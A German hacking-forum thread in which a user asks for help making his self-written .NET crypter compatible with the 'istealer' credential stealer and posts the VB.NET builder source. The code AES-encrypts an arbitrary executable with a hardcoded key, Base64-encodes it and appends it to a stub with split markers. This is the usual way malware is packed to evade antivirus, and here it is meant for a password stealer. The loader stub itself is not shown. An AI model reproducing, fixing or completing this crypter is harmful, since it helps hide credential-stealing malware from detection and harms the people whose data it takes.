Archiv verlassen und diese Seite im Standarddesign anzeigen : .NET Cyrpter mit istealer kompatibel machen
hey jungs der lieben welt :)
so also da ich imemrnoch am lernen bin und aber
ja den builder selber gemacht habe und so auch die stub
sowohl auch rc4
und naja ich bekomme es nicht hin das der server auch mit istealer läuft
und das is ein prob :o
wollte helfen ob ihr mir helfen könnt wie ich da vorgehen muss
Jo... bäuchten ma den source code...
VB.net Crypter waren doch nur mit VB.net programmen lauffähig oder?
also das is die source
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
OpenFileDialog1.ShowDialog()
TextBox1.Text = OpenFileDialog1.FileName
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
SaveFileDialog1.ShowDialog()
TextBox2.Text = SaveFileDialog1.FileName
End Sub
Private Sub BindingSource1_CurrentChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BindingSource1.CurrentChanged
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
MsgBox("Support? ICQ: 26412696")
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Dim SaveFile As String = TextBox2.Text
Dim File1 As String = TextBox1.Text
Dim Stub As String = Application.StartupPath & "\Stub.exe"
Dim Key As String = "123key123"
Dim Splitt As String = "123splitt123"
Dim sFile As String
Dim sStub As String
FileOpen(1, (Stub), OpenMode.Binary)
sStub = Space(LOF(1))
FileGet(1, sStub)
FileClose(1)
FileOpen(1, (File1), OpenMode.Binary)
sFile = Space(LOF(1))
FileGet(1, sFile)
FileClose(1)
Dim AesProvider As New Security.Cryptography.RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim KeyGen As New Security.Cryptography.Rfc2898DeriveBytes(Key, btSalt)
AesProvider.Key = KeyGen.GetBytes(AesProvider.Key.Length)
AesProvider.IV = KeyGen.GetBytes(AesProvider.IV.Length)
Dim MS As New IO.MemoryStream
Dim CS As New Security.Cryptography.CryptoStream(MS, _
AesProvider.CreateEncryptor(), _
Security.Cryptography.CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(sFile)
CS.Write(btClear, 0, btClear.Length)
CS.Close()
sFile = Convert.ToBase64String(MS.ToArray)
FileOpen(1, (SaveFile), OpenMode.Binary)
FilePut(1, sStub)
FilePut(1, Splitt)
FilePut(1, sFile)
FilePut(1, Splitt)
FileClose(1)
Try
Dim SaveFileDialog1 As String = TextBox2.Text 'Der Speicherort
Dim OpenFileDialog1 As String = TextBox1.Text 'Die Datei ansich
FileClose(1)
MsgBox("OK")
Catch ex As Exception
MsgBox("FEHLER: " & ex.Message)
End Try
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
End Class
sub datei wäre auch nicht schlecht^^;)
könnt ihr nichts mit dem code anfang oder mir helfen?
Ohne den Loader natürlich nicht :/
das is ja mit der loader
hmm :(
Mofo kann ich dich mal icq adden?
das is ja mit der loader
Bitte diesen teil erneut und auf Deutsch..
also du meinst mit loader den builder?
Nein, mit loader meine ich den loader..
Powered by vBulletin® Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.